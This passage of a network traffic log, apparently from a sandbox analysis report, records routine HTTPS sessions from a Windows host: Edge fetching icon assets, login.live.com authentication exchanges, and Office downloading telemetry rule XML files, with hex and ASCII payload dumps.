T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49830	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:36 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:37 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:37 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054837Z-174f7845968j6t2phC1EWRcfe80000000y2g00000000fn5t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:37 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49829	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-28 05:48:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:37 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: 1be32a90-40a5-4d4d-ad68-49bebeb2d290 PPServer: PPV: 30 H: BL02EPF0001D7AB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:37 GMT Connection: close Content-Length: 11390
2024-11-28 05:48:37 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49831	13.107.246.40	443	7628	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:38 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 05:48:38 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:38 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T054838Z-174f7845968jrjrxhC1EWRmmrs0000000y4g000000007xce Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:48:38 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:39 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:39 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054839Z-174f78459685m244hC1EWRgp2c0000000xvg000000006afb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:39 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:39 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054839Z-174f7845968kdththC1EWRzvxn0000000ac0000000006c3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:39 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054839Z-174f7845968vqt9xhC1EWRgten0000000y2g000000005ynt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:39 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054839Z-174f78459684bddphC1EWRbht40000000xu0000000003796 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:39 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:40 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 19b520d0-901e-0015-6e4e-41b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054840Z-174f7845968cpnpfhC1EWR3afc0000000xgg00000000gy07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:40 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49837	20.190.177.85	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-28 05:48:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 05:48:40 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 05:47:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: 04fe2e27-b477-4c34-a707-cd943ca14f37 PPServer: PPV: 30 H: BL02EPF0001D89E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 05:48:40 GMT Connection: close Content-Length: 11390
2024-11-28 05:48:40 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:48:41 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:48:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:48:41 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054841Z-174f78459685m244hC1EWRgp2c0000000xt000000000cgfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:48:41 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
